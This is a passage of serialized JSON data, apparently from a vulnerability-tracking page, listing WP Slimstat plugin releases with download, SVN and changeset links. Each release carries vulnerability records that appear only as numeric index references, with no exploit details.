stat.4.9.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.9.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.9.1.1&new_path=%2Fwp-slimstat%2Ftags%2F4.9.2",[2264,2265,2266,2267,2268,2269,2270,2271,2272,2273,2274,2275,2276,2277,2278,2279,2280,2281],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2283,"download_url":2284,"svn_tag_url":2285,"released_at":39,"has_diff":54,"diff_files_changed":2286,"diff_lines":39,"trac_diff_url":2287,"vulnerabilities":2288,"is_current":54},"4.9.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.9.1.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.9.1.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.9.1&new_path=%2Fwp-slimstat%2Ftags%2F4.9.1.1",[2289,2290,2291,2292,2293,2294,2295,2296,2297,2298,2299,2300,2301,2302,2303,2304,2305,2306],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2308,"download_url":2309,"svn_tag_url":2310,"released_at":39,"has_diff":54,"diff_files_changed":2311,"diff_lines":39,"trac_diff_url":2312,"vulnerabilities":2313,"is_current":54},"4.9.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.9.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.9.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.9.0.1&new_path=%2Fwp-slimstat%2Ftags%2F4.9.1",[2314,2315,2316,2317,2318,2319,2320,2321,2322,2323,2324,2325,2326,2327,2328,2329,2330,2331],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2333,"download_url":2334,"svn_tag_url":2335,"released_at":39,"has_diff":54,"diff_files_changed":2336,"diff_lines":39,"trac_diff_url":2337,"vulnerabilities":2338,"is_current":54},"4.9.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.9.0.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.9.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.9&new_path=%2Fwp-slimstat%2Ftags%2F4.9.0.1",[2339,2340,2341,2342,2343,2344,2345,2346,2347,2348,2349,2350,2351,2352,2353,2354,2355,2356],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2358,"download_url":2359,"svn_tag_url":2360,"released_at":39,"has_diff":54,"diff_files_changed":2361,"diff_lines":39,"trac_diff_url":2362,"vulnerabilities":2363,"is_current":54},"4.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.8.1&new_path=%2Fwp-slimstat%2Ftags%2F4.9",[2364,2365,2366,2367,2368,2369,2370,2371,2372,2373,2374,2375,2376,2377,2378,2379,2380,2381],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2383,"download_url":2384,"svn_tag_url":2385,"released_at":39,"has_diff":54,"diff_files_changed":2386,"diff_lines":39,"trac_diff_url":2387,"vulnerabilities":2388,"is_current":54},"4.8.8.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.8.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.8.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.8&new_path=%2Fwp-slimstat%2Ftags%2F4.8.8.1",[2389,2390,2391,2392,2393,2394,2395,2396,2397,2398,2399,2400,2401,2402,2403,2404,2405,2406],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2408,"download_url":2409,"svn_tag_url":2410,"released_at":39,"has_diff":54,"diff_files_changed":2411,"diff_lines":39,"trac_diff_url":2412,"vulnerabilities":2413,"is_current":54},"4.8.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.7.3&new_path=%2Fwp-slimstat%2Ftags%2F4.8.8",[2414,2415,2416,2417,2418,2419,2420,2421,2422,2423,2424,2425,2426,2427,2428,2429,2430,2431],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2433,"download_url":2434,"svn_tag_url":2435,"released_at":39,"has_diff":54,"diff_files_changed":2436,"diff_lines":39,"trac_diff_url":2437,"vulnerabilities":2438,"is_current":54},"4.8.7.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.7.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.7.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.7.2&new_path=%2Fwp-slimstat%2Ftags%2F4.8.7.3",[2439,2440,2441,2442,2443,2444,2445,2446,2447,2448,2449,2450,2451,2452,2453,2454,2455,2456],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2458,"download_url":2459,"svn_tag_url":2460,"released_at":39,"has_diff":54,"diff_files_changed":2461,"diff_lines":39,"trac_diff_url":2462,"vulnerabilities":2463,"is_current":54},"4.8.7.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.7.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.7.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.7.1&new_path=%2Fwp-slimstat%2Ftags%2F4.8.7.2",[2464,2465,2466,2467,2468,2469,2470,2471,2472,2473,2474,2475,2476,2477,2478,2479,2480,2481],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2483,"download_url":2484,"svn_tag_url":2485,"released_at":39,"has_diff":54,"diff_files_changed":2486,"diff_lines":39,"trac_diff_url":2487,"vulnerabilities":2488,"is_current":54},"4.8.7.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.7.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.7.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.7&new_path=%2Fwp-slimstat%2Ftags%2F4.8.7.1",[2489,2490,2491,2492,2493,2494,2495,2496,2497,2498,2499,2500,2501,2502,2503,2504,2505,2506],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2508,"download_url":2509,"svn_tag_url":2510,"released_at":39,"has_diff":54,"diff_files_changed":2511,"diff_lines":39,"trac_diff_url":2512,"vulnerabilities":2513,"is_current":54},"4.8.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.6.1&new_path=%2Fwp-slimstat%2Ftags%2F4.8.7",[2514,2515,2516,2517,2518,2519,2520,2521,2522,2523,2524,2525,2526,2527,2528,2529,2530,2531],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2533,"download_url":2534,"svn_tag_url":2535,"released_at":39,"has_diff":54,"diff_files_changed":2536,"diff_lines":39,"trac_diff_url":2537,"vulnerabilities":2538,"is_current":54},"4.8.6.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.8.6.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.8.6.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.8.6&new_path=%2Fwp-slimstat%2Ftags%2F4.8.6.1",[2539,2540,2541,2542,2543,2544,2545,2546,2547,2548,2549,2550,2551,2552,2553,2554,2555,2556],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_s